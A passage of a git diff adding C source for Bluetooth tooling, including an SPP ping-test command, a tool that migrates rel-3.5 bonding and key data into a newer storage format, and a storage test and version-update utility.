zalloc(sizeof(spp_cmd_t)); + if (!msg) + return CMD_ERROR; + + msg->delay = delay; + msg->count = count; + msg->timeout = timeout; + msg->size = size; + msg->port = port; + BT_LOGD("delay:%d, count:%d, timeout:%d, size:%d, port:%d", delay, count, timeout, size, port); + + ping_test_start(msg); + free(msg); + + return CMD_OK; +} + +static int dump_cmd(void* handle, int argc, char* argv[]) +{ + return CMD_OK; +} + +static spp_callbacks_t spp_cbs = { + .size = sizeof(spp_callbacks_t), + .proxy_state_cb = proxy_state_callback, + .connection_state_cb = connection_state_callback, +}; + +int spp_command_init(void* handle) +{ + sem_init(&spp_send_sem, 0, 0); + thread_loop_init(&spp_thread_loop); + thread_loop_run(&spp_thread_loop, true, "spp_client"); + spp_app_handle = bt_spp_register_app_with_name(handle, "btool", &spp_cbs); + + return 0; +} + +void spp_command_uninit(void* handle) +{ + bt_spp_unregister_app(handle, spp_app_handle); + sem_destroy(&spp_send_sem); + thread_loop_exit(&spp_thread_loop); + memset(&spp_thread_loop, 0, sizeof(spp_thread_loop)); +} + +int spp_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table_offset(handle, g_spp_tables, ARRAY_SIZE(g_spp_tables), argc - 1, argv, 0); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/storage_transform.c b/tools/storage_transform.c new file mode 100644 index 0000000000000000000000000000000000000000..2cb8ba7dcb48fe4077b0c492a27cdaffb2ccc63b --- /dev/null +++ b/tools/storage_transform.c @@ -0,0 +1,342 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <inttypes.h> +#include <kvdb.h> + +#include "bluetooth_define.h" +#include "storage.h" +#include "syslog.h" +#include "uv_ext.h" + +#define BLUETOOTH_V35_UPGRDE_TAG "persist.bluetooth.v35.upgraded" +#define BT_STORAGE_FILE_PATH "/data/misc/bt/bt_storage.db" + +// Defined macro in rel-3.5 +#define BT_DEVICE_NAME_MAX_LEN 63 // 63 used in rel-3.5 +#define SMP_KEYS_MAX_SIZE 80 +#define UUID_SIZE 16 +#define BD_ADDR_SIZE 6 + +#define BT_CONFIG_FILE_PATH "/data/misc/bt/bt_config.db" +#define BT_KEY_DEVICE_INFO "key_deviceinfo" +#define BT_KEY_BTBOND "key_btbond" +#define BT_KEY_BLEBOND "key_blebond" +#define BT_KEY_BLEWHITELIST "key_blewhitelist" + +// Type dependency for rel-3.5 +typedef uint8_t BT_UUID_T[UUID_SIZE]; +typedef uint8_t BD_ADDR[BD_ADDR_SIZE]; + +typedef enum { + STORAGE_TYPE_BT, + STORAGE_TYPE_BLE, +} storage_type; + +typedef struct { + BD_ADDR bd_addr; + uint8_t addr_type; +} SERVICE_REMOTE_BLE_DEVICE_S; + +typedef struct +{ + uint8_t bd[6]; + uint8_t atype; + uint8_t cap; + uint8_t ltk_len; + uint8_t div[2]; + uint8_t ltk[16]; + uint8_t ediv[2]; + uint8_t rand[8]; + uint8_t irk[16]; + uint8_t csrk[16]; +} smp_keys_parsing_t; + +// Storage format in rel-3.5 + +typedef struct { + uint32_t size; + uint32_t check_sum; + uint8_t spk_volume; + uint8_t mic_volume; + uint16_t bonded_number; + storage_type type; + void* bonded_devices; +} bt_storage_t; + +typedef struct gap_ble_whitelist_data { + uint32_t size; + uint32_t num; + SERVICE_REMOTE_BLE_DEVICE_S* devices; +} gap_ble_whitelist_data; + +typedef struct { + uint32_t cod; + bt_io_capability_t io_capability; // undefined BT_IO_CAPABILITY_UNKNOW in rel-3.5 + char bt_name[BT_DEVICE_NAME_MAX_LEN]; + bt_scan_mode_t scan_mode; + bool bondable; +} bt_device_info_t; + +typedef struct { + BD_ADDR bd_addr; + uint8_t addr_type; // 1 Byte + char bt_name[BT_DEVICE_NAME_MAX_LEN + 1]; + BT_UUID_T uuids[10]; + uint8_t link_key[16]; + uint8_t link_key_type; // 1 Byte + uint16_t device_volume; // 2 Bytes + uint32_t device_profile; // 4 Bytes + uint32_t cod; + uint8_t device_type; + uint8_t rssi; +} SERVICE_REMOTE_DEVICE_S; + +typedef struct { + uint8_t smp_keys[SMP_KEYS_MAX_SIZE]; +} ble_keys_t; + +typedef struct { + uv_loop_t* loop; + uv_db_t* read_db; +} bt_storage_transformer_t; + +static void transform_deviceinfo_to_adapterinfo(bt_device_info_t* device_info, adapter_storage_t* adapter_info) +{ + syslog(LOG_INFO, __func__); + strlcpy(adapter_info->name, device_info->bt_name, sizeof(adapter_info->name)); // shorter name + adapter_info->class_of_device = device_info->cod; + adapter_info->io_capability = device_info->io_capability; + adapter_info->scan_mode = device_info->scan_mode; + adapter_info->bondable = device_info->bondable; +} + +static void transform_btbond_to_deviceproperty(SERVICE_REMOTE_DEVICE_S* remote_device, remote_device_properties_t* device_property) +{ + syslog(LOG_INFO, __func__); + bt_addr_set(&device_property->addr, remote_device->bd_addr); + device_property->addr_type = remote_device->addr_type; + strlcpy(device_property->name, remote_device->bt_name, sizeof(device_property->name)); + memset(&device_property->alias, 0, sizeof(device_property->alias)); + device_property->class_of_device = remote_device->cod; + memcpy(device_property->link_key, remote_device->link_key, 16); + device_property->link_key_type = remote_device->link_key_type; + device_property->device_type = remote_device->device_type + 1; // +1 for adaption +} + +static void transform_blebond_to_deviceleproperty(ble_keys_t* remote_device, remote_device_le_properties_t* device_property) +{ + smp_keys_parsing_t* smp_keys = (smp_keys_parsing_t*)remote_device->smp_keys; + + syslog(LOG_INFO, __func__); + bt_addr_set(&device_property->addr, smp_keys->bd); + device_property->addr_type = smp_keys->atype; // The correspondence of this field has not been confirmed. + memcpy(device_property->smp_key, smp_keys, sizeof(device_property->smp_key)); + device_property->device_type = 0; // unknown +} + +static void transform_blewhitelist_to_deviceleproperty(SERVICE_REMOTE_BLE_DEVICE_S* remote_device, remote_device_le_properties_t* device_property) +{ + syslog(LOG_INFO, __func__); + bt_addr_set(&device_property->addr, remote_device->bd_addr); + device_property->addr_type = remote_device->addr_type; +} + +static void load_device_info_cb(int status, const char* key, uv_buf_t value, void* cookie) +{ + adapter_storage_t adapter_info; + + syslog(LOG_INFO, __func__); + if (status != 0) { + syslog(LOG_WARNING, "adapter info load failed, status is %d\n", status); // There is no adapter info in rel-3.5 in default + return; + } + + if (value.len != sizeof(bt_device_info_t)) { + syslog(LOG_ERR, "adapter info load error\n"); + return; + } + + transform_deviceinfo_to_adapterinfo((bt_device_info_t*)value.base, &adapter_info); + bt_storage_save_adapter_info(&adapter_info); +} + +static void load_btbond_cb(int status, const char* key, uv_buf_t value, void* cookie) +{ + uint16_t i; + bt_storage_t* bt_storage; + SERVICE_REMOTE_DEVICE_S* device; + remote_device_properties_t* device_properties; + + syslog(LOG_INFO, __func__); + if (status != 0) { + syslog(LOG_WARNING, "bt bonded device load failed, status is %d\n", status); + return; + } + + bt_storage = (bt_storage_t*)(value.base); + if (bt_storage->check_sum != (bt_storage->size + bt_storage->bonded_number)) { + syslog(LOG_ERR, "loaded bt bonded device info erro\n"); + return; + } + + syslog(LOG_DEBUG, "loaded %" PRIu32 "bytes info", bt_storage->size); + syslog(LOG_DEBUG, "device type size is %zu", sizeof(SERVICE_REMOTE_DEVICE_S)); + + device = (SERVICE_REMOTE_DEVICE_S*)(&bt_storage->bonded_devices); + device_properties = (remote_device_properties_t*)malloc(sizeof(remote_device_properties_t) * bt_storage->bonded_number); + if (!device_properties) { + syslog(LOG_ERR, "malloc failed"); + return; + } + + for (i = 0; i < bt_storage->bonded_number; i++) + transform_btbond_to_deviceproperty(device + i, device_properties + i); + + bt_storage_save_bonded_device(device_properties, bt_storage->bonded_number); + free(device_properties); +} + +static void load_blebond_cb(int status, const char* key, uv_buf_t value, void* cookie) +{ + uint16_t i; + remote_device_le_properties_t* device_properties; + bt_storage_t* bt_storage; + ble_keys_t* keys; + + syslog(LOG_INFO, __func__); + if (status != 0) { + syslog(LOG_WARNING, "ble bonded device load failed, status is %d", status); + return; + } + + bt_storage = (bt_storage_t*)(value.base); + if (bt_storage->check_sum != (bt_storage->size + bt_storage->bonded_number)) { + syslog(LOG_ERR, "loaded ble bonded device info erro"); + return; + } + + keys = (ble_keys_t*)(&bt_storage->bonded_devices); + device_properties = (remote_device_le_properties_t*)malloc(sizeof(remote_device_le_properties_t) * bt_storage->bonded_number); + if (!device_properties) { + syslog(LOG_ERR, "malloc failed\n"); + return; + } + + for (i = 0; i < bt_storage->bonded_number; i++) + transform_blebond_to_deviceleproperty(keys + i, device_properties + i); + + bt_storage_save_le_bonded_device(device_properties, bt_storage->bonded_number); + free(device_properties); +} + +static void load_blewhitelist_cb(int status, const char* key, uv_buf_t value, void* cookie) +{ + uint16_t i; + remote_device_le_properties_t* device_properties; + gap_ble_whitelist_data* ble_whitelist; + SERVICE_REMOTE_BLE_DEVICE_S* whitelist_device; + + syslog(LOG_INFO, __func__); + if (status != 0) { + syslog(LOG_WARNING, "ble whitelist device load failed, status is %d\n", status); + return; + } + + ble_whitelist = (gap_ble_whitelist_data*)(value.base); + if (ble_whitelist->size != value.len) { + syslog(LOG_ERR, "loaded ble whitelist device info erro\n"); + return; + } + + syslog(LOG_DEBUG, "loaded %zu bytes info", value.len); + syslog(LOG_DEBUG, "device type size is %zu", sizeof(SERVICE_REMOTE_BLE_DEVICE_S)); + + whitelist_device = (SERVICE_REMOTE_BLE_DEVICE_S*)(&ble_whitelist->devices); // obtain the address of the first device + device_properties = (remote_device_le_properties_t*)malloc(sizeof(remote_device_le_properties_t) * ble_whitelist->num); + if (!device_properties) { + syslog(LOG_ERR, "malloc failed\n"); + return; + } + + for (i = 0; i < ble_whitelist->num; i++) + transform_blewhitelist_to_deviceleproperty(whitelist_device + i, device_properties + i); + + bt_storage_save_whitelist(device_properties, ble_whitelist->num); + free(device_properties); +} + +static void load_from_db_with_key(uv_db_t* db, const char* key, void* cb, void* cookie) +{ + uv_buf_t buf; + int res; + + syslog(LOG_INFO, "load from db with key %s\n", key); + res = uv_db_get(db, key, &buf, cb, cookie); + assert(res == 0); +} + +static void bt_storage_transformer_init(bt_storage_transformer_t* transformer) +{ + syslog(LOG_INFO, __func__); + transformer->loop = uv_default_loop(); + uv_db_init(transformer->loop, &transformer->read_db, BT_CONFIG_FILE_PATH); + bt_storage_init(); +} + +static void bt_storage_transformer_deinit(bt_storage_transformer_t* transformer) +{ + syslog(LOG_INFO, __func__); + + if (transformer->read_db) + uv_db_close(transformer->read_db); + bt_storage_cleanup(); + uv_loop_close(transformer->loop); +} + +static void bt_storage_transformer_work(bt_storage_transformer_t* transformer) +{ + syslog(LOG_INFO, __func__); + + load_from_db_with_key(transformer->read_db, BT_KEY_DEVICE_INFO, load_device_info_cb, NULL); + load_from_db_with_key(transformer->read_db, BT_KEY_BTBOND, load_btbond_cb, NULL); + load_from_db_with_key(transformer->read_db, BT_KEY_BLEBOND, load_blebond_cb, NULL); + load_from_db_with_key(transformer->read_db, BT_KEY_BLEWHITELIST, load_blewhitelist_cb, NULL); + + uv_run(transformer->loop, UV_RUN_DEFAULT); +} + +int main(void) +{ + bt_storage_transformer_t transformer = { 0 }; + + if (!access(BT_STORAGE_FILE_PATH, F_OK)) { + syslog(LOG_INFO, "bt_storage.db exits\n"); + return 0; + } + + if (access(BT_CONFIG_FILE_PATH, F_OK)) { + syslog(LOG_INFO, "bt_config.db not exits\n"); + return 0; + } + + bt_storage_transformer_init(&transformer); + bt_storage_transformer_work(&transformer); + bt_storage_transformer_deinit(&transformer); + if (property_set_bool(BLUETOOTH_V35_UPGRDE_TAG, true)) + syslog(LOG_ERR, "set %s failed\n", BLUETOOTH_V35_UPGRDE_TAG); + + return 0; +} diff --git a/tools/storage_update/storage_tool.c b/tools/storage_update/storage_tool.c new file mode 100644 index 0000000000000000000000000000000000000000..9788d593dad240fac742478e3cfe2a358ad4e3b9 --- /dev/null +++ b/tools/storage_update/storage_tool.c @@ -0,0 +1,489 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdlib.h> +#include <string.h> + +#include "advertiser_data.h" +#include "bluetooth.h" +#include "bluetooth_define.h" +#include "bt_le_advertiser.h" +#include "bt_tools.h" +#include "service_loop.h" +#include "uv_ext.h" + +#include "storage.h" +#include "storage_update.h" +#include "storage_version_4.h" +#include "storage_version_5.h" + +#define BT_STORAGE_TEST_VERSION "v_test" + +static int storage_add_cmd(void* handle, int argc, char* argv[]); +static int storage_clear_cmd(void* handle, int argc, char* argv[]); +static int storage_set_cmd(void* handle, int argc, char* argv[]); +static int storage_delete_cmd(void* handle, int argc, char* argv[]); +static int storage_update_cmd(void* handle, int argc, char* argv[]); + +static char* bt_storage_update_version_str[BT_STORAGE_VERSION_MAX] = { + "v4_0_0", + "v5_0_0", + "v5_0_1", + "v5_0_2", +}; + +static struct option set_options[] = { + { "default", no_argument, 0, 'D' }, + { "version", required_argument, 0, 'v' }, + { "scanmode", required_argument, 0, 's' }, + { "iocap", required_argument, 0, 'i' }, + { "name", required_argument, 0, 'n' }, + { "class", required_argument, 0, 'c' }, + { "bondable", required_argument, 0, 'b' }, + { "test", no_argument, 0, 'T' }, + { 0, 0, 0, 0 } +}; + +static struct option delete_options[] = { + { "scanmode", required_argument, 0, 's' }, + { "iocap", required_argument, 0, 'i' }, + { "name", required_argument, 0, 'n' }, + { "class", required_argument, 0, 'c' }, + { "bondable", required_argument, 0, 'b' }, + { 0, 0, 0, 0 } +}; + +#define SET_IOCAP_USAGE "set io capability (0:displayonly, 1:yes&no, 2:keyboardonly, 3:no-in/no-out 4:keyboard&display)" +#define SET_CLASS_USAGE "set local class of device, range in 0x0-0xFFFFFC, the 2 least significant shall be 0b00, example: 0x00640404" + +static bt_command_t g_storage_tables[] = { + { "add", storage_add_cmd, 0, "\"add storage information :<version_idx><storage_info(1:btbond,2:blebond,3:whitelist(accept list))><num>\"" }, + { "clear", storage_clear_cmd, 0, "clear storage information \n" }, + { "set", storage_set_cmd, 1, "set adapter information(only for V5_0_2 version and above)," + "\t -D or --default, set adapter default infomation\n" + "\t -v or --version, set version(0:v4_0_0, 1:v5_0_0, 2:v5_0_1, 3:v5_0_2)\n" + "\t -s or --scanmode, set scan mode (0:none, 1:connectable 2:connectable&discoverable)\n" + "\t -i or --iocap, " SET_IOCAP_USAGE "\n" + "\t -n or --name, set local name, example \"vela-bt\"\n" + "\t -c or --class, " SET_CLASS_USAGE " \n" + "\t -b or --bonable, now only can set bondable(1) \n" }, + { "delete", storage_delete_cmd, 1, "delete adapter information," + "\t -s or --scanmode, delete scan mode\n" + "\t -i or --iocap, delete iocap\n" + "\t -n or --name, delete name\n" + "\t -c or --class, delete class \n" + "\t -b or --bonable, delete bondable \n" }, + { "update", storage_update_cmd, 0, "storage update version. \n" }, +}; + +static void usage(void) +{ + printf("Usage:\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_storage_tables); i++) { + printf("\t%-4s\t%s\n", g_storage_tables[i].cmd, g_storage_tables[i].help); + } +} + +static int kvdb_param_check(int input_version, int storage_version) +{ + if (input_version == -1) { + PRINT("please input version first!!"); + return CMD_INVALID_PARAM; + } + + if (input_version < BT_STORAGE_VERSION_5_0_2) { + PRINT("only support v5.0.2 version(%d) +, cur = %d\n", BT_STORAGE_VERSION_5_0_2, storage_version); + return CMD_INVALID_PARAM; + } + + if (input_version != storage_version) { + PRINT("version mismatch!!, cur = %d, input = %d\n", storage_version, input_version); + return CMD_INVALID_PARAM; + } + + return CMD_OK; +} + +static int storage_set_cmd(void* handle, int argc, char* argv[]) +{ + int cur_version, opt, adapter_size; + int input_version = -1, ret = CMD_OK; + void* adapter; + char* version_str; + char name[BT_LOC_NAME_MAX_LEN + 1]; + bool fallback_test_mode = false; + + if (bt_storage_unqlite_init() != 0) + return CMD_ERROR; + + cur_version = bt_storage_get_version(); + optind = 0; + + while ((opt = getopt_long(argc, argv, "Dv:s:i:n:c:b:", set_options, + NULL)) + != -1) { + switch (opt) { + case 'D': { + if (input_version == -1) { + PRINT("please input version first!!"); + ret = CMD_INVALID_PARAM; + goto err; + } + + snprintf(name, BT_LOC_NAME_MAX_LEN + 1, "%s-%s", "adapter_name", bt_storage_update_version_str[input_version]); + if (input_version < BT_STORAGE_VERSION_5_0_2) { + adapter_size = bt_storage_update_get_item_len(input_version, BT_STORAGE_UPDATE_ADAPTER_INFO); + adapter = malloc(adapter_size); + memset(adapter, 1, adapter_size); + memcpy(adapter, name, strlen(name) + 1); + ret = bt_storage_save_item_unqlite(adapter, 1, input_version, BT_STORAGE_UPDATE_ADAPTER_INFO); + free(adapter); + if (ret < 0) { + PRINT("save adapter info failed!!"); + goto err; + } + } else if (input_version >= BT_STORAGE_VERSION_5_0_2) { + property_set_binary(BT_KVDB_ADAPTERINFO_NAME, name, strlen(name) + 1, false); + property_set_int32(BT_KVDB_ADAPTERINFO_COD, DEFAULT_DEVICE_OF_CLASS); + property_set_int32(BT_KVDB_ADAPTERINFO_IOCAP, DEFAULT_IO_CAPABILITY); + property_set_int32(BT_KVDB_ADAPTERINFO_SCAN, DEFAULT_SCAN_MODE); + property_set_int32(BT_KVDB_ADAPTERINFO_BOND, DEFAULT_BONDABLE_MODE); + } + } break; + case 'v': { + input_version = atoi(optarg); + + if (cur_version != -1 && input_version != cur_version) { + PRINT("error version!!"); + ret = CMD_INVALID_PARAM; + goto err; + } + + version_str = bt_storage_update_version_str[input_version]; + if (input_version >= BT_STORAGE_VERSION_5_0_2) + property_set_binary(BT_KVDB_VERSION_KEY, version_str, strlen(version_str) + 1, false); + PRINT("version: %s", version_str); + } break; + case 's': { + int scanmode = atoi(optarg); + + ret = kvdb_param_check(input_version, cur_version); + if (ret != CMD_OK) + goto err; + + if (scanmode < BT_BR_SCAN_MODE_NONE || scanmode > BT_BR_SCAN_MODE_CONNECTABLE_DISCOVERABLE) { + ret = CMD_INVALID_PARAM; + goto err; + } + + property_set_int32(BT_KVDB_ADAPTERINFO_SCAN, scanmode); + PRINT("Scan Mode:%d set success", scanmode); + } break; + case 'i': { + int iocap = atoi(optarg); + + ret = kvdb_param_check(input_version, cur_version); + if (ret != CMD_OK) + goto err; + + if (iocap < BT_IO_CAPABILITY_DISPLAYONLY || iocap > BT_IO_CAPABILITY_KEYBOARDDISPLAY) { + ret = CMD_INVALID_PARAM; + goto err; + } + + property_set_int32(BT_KVDB_ADAPTERINFO_IOCAP, iocap); + PRINT("IO Capability:%d set success", iocap); + } break; + case 'n': { + ret = kvdb_param_check(input_version, cur_version); + if (ret != CMD_OK) + goto err; + + if (strlen(optarg) > BT_LOC_NAME_MAX_LEN) { + PRINT("name length to long"); + ret = CMD_INVALID_PARAM; + goto err; + } + + property_set_binary(BT_KVDB_ADAPTERINFO_NAME, optarg, strlen(optarg) + 1, false); + PRINT("Local Name:%s set success", optarg); + } break; + case 'c': { + uint32_t cod = atoi(optarg); + + ret = kvdb_param_check(input_version, cur_version); + if (ret != CMD_OK) + goto err; + + if (cod > 0xFFFFFF || cod & 0x3) { + ret = CMD_INVALID_PARAM; + goto err; + } + + property_set_int32(BT_KVDB_ADAPTERINFO_COD, cod); + PRINT("Local class of device:0x%08" PRIx32 " set success", cod); + } break; + case 'b': { + int bondable = atoi(optarg); + + ret = kvdb_param_check(input_version, cur_version); + if (ret != CMD_OK) + goto err; + + if (bondable != 1) { + PRINT("only bondable only input <1>"); + ret = CMD_INVALID_PARAM; + goto err; + } + + property_set_int32(BT_KVDB_ADAPTERINFO_BOND, bondable); + PRINT("bondable: %d set success", bondable); + } break; + default: + PRINT("%s, default opt:%c, arg:%s", __func__, opt, optarg); + break; + } + } + + if (fallback_test_mode) { + property_set_binary(BT_KVDB_VERSION_KEY, BT_STORAGE_TEST_VERSION, strlen(BT_STORAGE_TEST_VERSION) + 1, false); + } + + property_commit(); + +err: + bt_storage_unqlite_cleanup(); + return ret; +} + +static int storage_delete_cmd(void* handle, int argc, char* argv[]) +{ + int cur_version, opt; + int ret = CMD_OK; + + if (bt_storage_unqlite_init() != 0) + return CMD_ERROR; + + cur_version = bt_storage_get_version(); + optind = 0; + + if (cur_version < BT_STORAGE_VERSION_5_0_2) { + PRINT("only support v5.0.2 version[%d] +, cur = %d\n", BT_STORAGE_VERSION_5_0_2, cur_version); + return CMD_INVALID_PARAM; + } + + while ((opt = getopt_long(argc, argv, "+sincb", delete_options, + NULL)) + != -1) { + switch (opt) { + case 's': { + if (property_delete(BT_KVDB_ADAPTERINFO_SCAN)) { + PRINT("Scan Mode delete failed"); + ret = CMD_ERROR; + goto err; + } + + PRINT("Scan Mode delete success"); + } break; + case 'i': { + if (property_delete(BT_KVDB_ADAPTERINFO_IOCAP)) { + PRINT("iocap delete failed"); + ret = CMD_ERROR; + goto err; + } + + PRINT("iocap delete success"); + } break; + case 'n': { + if (property_delete(BT_KVDB_ADAPTERINFO_NAME)) { + PRINT("adapter name delete failed"); + ret = CMD_ERROR; + goto err; + } + + PRINT("adapter name delete success"); + } break; + case 'c': { + if (property_delete(BT_KVDB_ADAPTERINFO_COD)) { + PRINT("CoD delete failed"); + ret = CMD_ERROR; + goto err; + } + + PRINT("CoD delete success"); + } break; + case 'b': { + if (property_delete(BT_KVDB_ADAPTERINFO_BOND)) { + PRINT("bondable delete failed"); + ret = CMD_ERROR; + goto err; + } + + PRINT("bondable delete success"); + } break; + default: + PRINT("%s, default opt:%c, arg:%s", __func__, opt, optarg); + break; + } + } + + property_commit(); + +err: + bt_storage_unqlite_cleanup(); + return ret; +} + +static uint8_t* generate_storage_item(int version, int item, int num) +{ + int item_size, i, offset; + uint8_t *data, *tmp_data; + + item_size = bt_storage_update_get_item_len(version, item); + data = (uint8_t*)malloc(item_size * num); + if (!data) { + PRINT("Malloc failed"); + return NULL; + } + tmp_data = data; + + for (i = 0; i < num; i++) { + memset(tmp_data, i, item_size); + if (item != BT_STORAGE_UPDATE_BTBOND_INFO) { + tmp_data += item_size; + continue; + } + + if (version < BT_STORAGE_VERSION_5_0_2) { + offset = offsetof(remote_device_properties_v4_0_0_t, name); + snprintf((char*)tmp_data + offset, 64, "%s-%d", "NAME-TEST", i); + offset += version < BT_STORAGE_VERSION_5_0_0 ? 64 : 65; + snprintf((char*)tmp_data + offset, 64, "%s-%d", "ALIAS-TEST", i); + } else if (version >= BT_STORAGE_VERSION_5_0_2) { + offset = offsetof(remote_device_properties_v5_0_2_t, name); + snprintf((char*)tmp_data + offset, 64, "%s-%d", "NAME-TEST", i); + offset += 65; + snprintf((char*)tmp_data + offset, 64, "%s-%d", "ALIAS-TEST", i); + } + + tmp_data += item_size; + } + + return data; +} + +static int storage_add_cmd(void* handle, int argc, char* argv[]) +{ + int input_version, cur_version, item, num, ret; + uint8_t* data = NULL; + + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_storage_unqlite_init() != 0) + return CMD_ERROR; + + cur_version = bt_storage_get_version(); + input_version = atoi(argv[1]); + if (cur_version >= 0 && cur_version != input_version) { + PRINT("Invalid version:%d, please input current version: %d", input_version, cur_version); + ret = CMD_INVALID_PARAM; + goto err; + } + + item = atoi(argv[2]); + if (item < BT_STORAGE_UPDATE_BTBOND_INFO || item > BT_STORAGE_UPDATE_ITEM_MAX) { + PRINT("Invalid item:%d, please input 1 ~ %d", item, BT_STORAGE_UPDATE_ITEM_MAX - 1); + ret = CMD_INVALID_PARAM; + goto err; + } + + num = atoi(argv[3]); + if (num < 1 || num > 15) { + PRINT("Invalid num:%d, please input 1 ~ 15", num); + ret = CMD_INVALID_PARAM; + goto err; + } + + data = generate_storage_item(input_version, item, num); + if (!data) { + PRINT("Generate storage item failed"); + ret = CMD_INVALID_PARAM; + goto err; + } + + if (input_version < BT_STORAGE_VERSION_5_0_2) { + ret = bt_storage_save_item_unqlite(data, num, input_version, item); + } else if (input_version >= BT_STORAGE_VERSION_5_0_2) { + ret = bt_storage_save_item_kvdb(data, num, input_version, item); + } + +err: + if (data) + free(data); + + bt_storage_unqlite_cleanup(); + + return ret; +} + +static int storage_clear_cmd(void* handle, int argc, char* argv[]) +{ + int ret; + + ret = bt_storage_remove(); + if (ret < 0) { + return CMD_ERROR; + } + + return CMD_OK; +} + +static int storage_update_cmd(void* handle, int argc, char* argv[]) +{ +#ifdef CONFIG_SYSTEM_SYSTEM + system("bt_storage_update"); +#else + PRINT("storage udpate cmd not support"); + return CMD_ERROR; +#endif + + return CMD_OK; +} + +/* init for unqlite storage version */ +int storage_command_init(void* handle) +{ + return 0; +} + +void storage_command_uninit(void* handle) +{ +} + +int storage_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table_offset(handle, g_storage_tables, ARRAY_SIZE(g_storage_tables), argc, argv, 0); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/storage_update/storage_update.c b/tools/storage_update/storage_update.c new file mode 100644 index 0000000000000000000000000000000000000000..59313d9c388eae19afdce99f488b3df051f04a38 --- /dev/null +++ b/tools/storage_update/storage_update.c @@ -0,0 +1,806 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <inttypes.h> +#include <kvdb.h> + +#include "bluetooth_define.h" +#include "service_loop.h" +#include "storage.h" +#include "storage_update.h" +#include "storage_version_4.h" +#include "storage_version_5.h" +#include "uv_ext.h" + +#include "syslog.h" + +#define BT_STORAGE_FILE_PATH "/data/misc/bt/bt_storage.db" + +#define BT_KEY_ADAPTER_INFO "AdapterInfo" +#define BT_KEY_BTBOND "BtBonded" +#define BT_KEY_BLEBOND "BleBonded" +#define BT_KEY_BLEWHITELIST "WhiteList" +#define BT_KEY_BLERESOLVINGLIST "ResolvingList" + +typedef void (*kvdb_callback_t)(const char* name, const char* value, void* cookie); + +typedef struct { + char* key; + kvdb_callback_t cb; +} bt_storage_update_kvdb_callback_t; + +typedef struct { + const void* key; + uint16_t items; + uint16_t offset; + uint32_t value_length; + void* value; +} bt_property_value_t; + +static void callback_adapter_count(const char* name, const char* value, void* count_u16); +static void callback_bt_count(const char* name, const char* value, void* count_u16); +static void callback_le_count(const char* name, const char* value, void* count_u16); +static void callback_whitelist_count(const char* name, const char* value, void* count_u16); + +static uv_db_t* storage_handle = NULL; + +static int bt_storage_update_item_size[BT_STORAGE_VERSION_MAX][BT_STORAGE_UPDATE_ITEM_MAX] = { +/* { Adapter Info size, BTbonded Info size, BLEbonded Info size, WhiteList Info size } */ +#ifdef BLUETOOTH_STORAGE_VERSION_4 + { sizeof(adapter_storage_v4_0_0_t), + sizeof(remote_device_properties_v4_0_0_t), + sizeof(remote_device_le_properties_v4_0_0_t), + sizeof(remote_device_le_properties_v4_0_0_t) }, +#endif +#ifdef BLUETOOTH_STORAGE_VERSION_5 + { sizeof(adapter_storage_v5_0_0_t), + sizeof(remote_device_properties_v5_0_0_t), + sizeof(remote_device_le_properties_v5_0_0_t), + sizeof(remote_device_le_properties_v5_0_0_t) }, + /* version 5_0_1 */ + { sizeof(adapter_storage_v5_0_1_t), + sizeof(remote_device_properties_v5_0_1_t), + sizeof(remote_device_le_properties_v5_0_1_t), + sizeof(remote_device_le_properties_v5_0_1_t) }, + /* version 5_0_2 */ + { sizeof(adapter_storage_v5_0_2_t), + sizeof(remote_device_properties_v5_0_2_t), + sizeof(remote_device_le_properties_v5_0_2_t), + sizeof(remote_device_le_properties_v5_0_2_t) }, + /* version 5_0_3 */ + { sizeof(adapter_storage_v5_0_3_t), + sizeof(remote_device_properties_v5_0_3_t), + sizeof(remote_device_le_properties_v5_0_3_t), + sizeof(remote_device_le_properties_v5_0_3_t) }, +#endif + /* Reserve for future version */ +}; + +const static bt_storage_update_kvdb_callback_t callback_cnt_list[BT_STORAGE_UPDATE_ITEM_MAX] = { + { BT_KVDB_ADAPTERINFO, callback_adapter_count }, + { BT_KVDB_BTBOND, callback_bt_count }, + { BT_KVDB_BLEBOND, callback_le_count }, + { BT_KVDB_BLEWHITELIST, callback_whitelist_count }, +}; + +const static char* unqlite_item_key[BT_STORAGE_UNQLITE_ITEM] = { + BT_KEY_ADAPTER_INFO, + BT_KEY_BTBOND, + BT_KEY_BLEBOND, + BT_KEY_BLEWHITELIST, +}; + +const static bt_storage_update_func_t verison_map[] = { +#ifdef BLUETOOTH_STORAGE_VERSION_4 + bt_storage_update_v4_0_0_to_v5_0_0, +#endif +#ifdef BLUETOOTH_STORAGE_VERSION_5 + bt_storage_update_v5_0_0_to_v5_0_1, + bt_storage_update_v5_0_1_to_v5_0_2, + 